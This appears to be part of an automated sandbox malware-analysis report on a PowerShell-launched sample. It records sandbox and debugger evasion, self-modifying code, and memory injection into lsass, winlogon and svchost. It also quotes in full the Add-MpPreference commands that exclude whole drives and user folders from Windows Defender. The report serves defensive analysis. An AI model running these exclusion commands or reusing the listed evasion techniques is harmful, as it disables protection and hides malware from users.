Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,

28_2_00000001400010C0

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Roaming\LB311.exe	Special instruction interceptor: First address: 7FF62EF86D85 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\LB311.exe	Special instruction interceptor: First address: 7FF62EC4D3D8 instructions caused by: Self-modifying code
Source: C:\ProgramData\Mig\Mig.exe	Special instruction interceptor: First address: 7FF746B26D85 instructions caused by: Self-modifying code
Source: C:\ProgramData\Mig\Mig.exe	Special instruction interceptor: First address: 7FF7467ED3D8 instructions caused by: Self-modifying code

Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5846	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3853	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6401	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3415	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6946	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2487	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1725
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1971
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8028
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9890
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 4042
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9862

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_41-15356
Source: C:\Windows\System32\dwm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_45-15087
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_44-14941
Source: C:\Windows\System32\winlogon.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_35-16946

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_28-409

Source: C:\Windows\System32\lsass.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6932	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5940	Thread sleep count: 6401 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5604	Thread sleep count: 3415 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6100	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1012	Thread sleep count: 6946 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5492	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep count: 2487 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 6944	Thread sleep count: 1725 > 30
Source: C:\Windows\System32\dialer.exe TID: 6944	Thread sleep time: -172500s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 3580	Thread sleep count: 1971 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3580	Thread sleep time: -1971000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 3580	Thread sleep count: 8028 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3580	Thread sleep time: -8028000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 5520	Thread sleep count: 9890 > 30
Source: C:\Windows\System32\lsass.exe TID: 5520	Thread sleep time: -9890000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5480	Thread sleep count: 4042 > 30
Source: C:\Windows\System32\svchost.exe TID: 5480	Thread sleep time: -4042000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 6200	Thread sleep count: 9862 > 30
Source: C:\Windows\System32\dwm.exe TID: 6200	Thread sleep time: -9862000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5596	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 5596	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1148	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 1148	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5492	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 5492	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3676	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 3676	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5072	Thread sleep count: 195 > 30
Source: C:\Windows\System32\svchost.exe TID: 5072	Thread sleep time: -195000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3840	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 3840	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2944	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 2944	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2796	Thread sleep count: 243 > 30
Source: C:\Windows\System32\svchost.exe TID: 2796	Thread sleep time: -243000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1196	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 1196	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7036	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 7036	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1824	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 1824	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6548	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 6548	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6204	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 6204	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5184	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 5184	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5672	Thread sleep count: 79 > 30
Source: C:\Windows\System32\svchost.exe TID: 5672	Thread sleep time: -79000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99175DCE0 FindFirstFileExW,	35_2_000002E99175DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCEDCE0 FindFirstFileExW,	41_2_00000213BDCEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709DDCE0 FindFirstFileExW,	44_2_00000158709DDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16EDCE0 FindFirstFileExW,	45_2_0000026DB16EDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F066DCE0 FindFirstFileExW,	46_2_000002A3F066DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: powershell.exe, 00000000.00000002.1903377493.0000023D351AC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

graph_28-477

Source: C:\Users\user\AppData\Roaming\LB311.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: regmonclass
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: procmon_window_class
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: filemonclass
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\LB311.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugPort
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugObjectHandle
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugPort

Source: C:\Windows\System32\winlogon.exe

Code function: 35_2_000002E991766208 IsDebuggerPresent,

35_2_000002E991766208

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

28_2_00000001400017EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766218 SetUnhandledExceptionFilter,	35_2_000002E991766218
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99175D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_000002E99175D2A4
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991757D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_000002E991757D90
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCE7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_00000213BDCE7D90
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_00000213BDCED2A4
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCF6218 SetUnhandledExceptionFilter,	41_2_00000213BDCF6218
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709DD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_00000158709DD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709E6218 SetUnhandledExceptionFilter,	44_2_00000158709E6218
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709D7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_00000158709D7D90
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16F6218 SetUnhandledExceptionFilter,	45_2_0000026DB16F6218
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_0000026DB16ED2A4
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_0000026DB16E7D90
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F066D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	46_2_000002A3F066D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F0667D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	46_2_000002A3F0667D90
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F0676218 SetUnhandledExceptionFilter,	46_2_000002A3F0676218

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: GO.png.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_5328.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5328, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 2E991720000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 213BDCB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 158709A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 26DB16B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A3EFFC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C9AFB80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C06F7B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2917C380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22382750000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28A1B1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1486AD40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24BD3CA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FA73D30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD021B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 269B9FD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22054D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27C57DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A333B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F174530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23315740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A9C8540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EC212A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1876D540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22CD8950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15104330000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22308E70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AB19360000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E731800000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A6DD9B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E2FA1C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: D50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 209D2560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FC05190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AFD1A00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D6B0FC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2036E580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 150FC5C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2480FAC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2671A930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C588F90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A8857C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 174DEDC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 282A2110000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DA09D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 287FBEC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 2537C620000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29B59750000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20CAB570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BBF95A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D49EEE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 26E2B2E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B0CC6E0000 protect: page execute and read and write
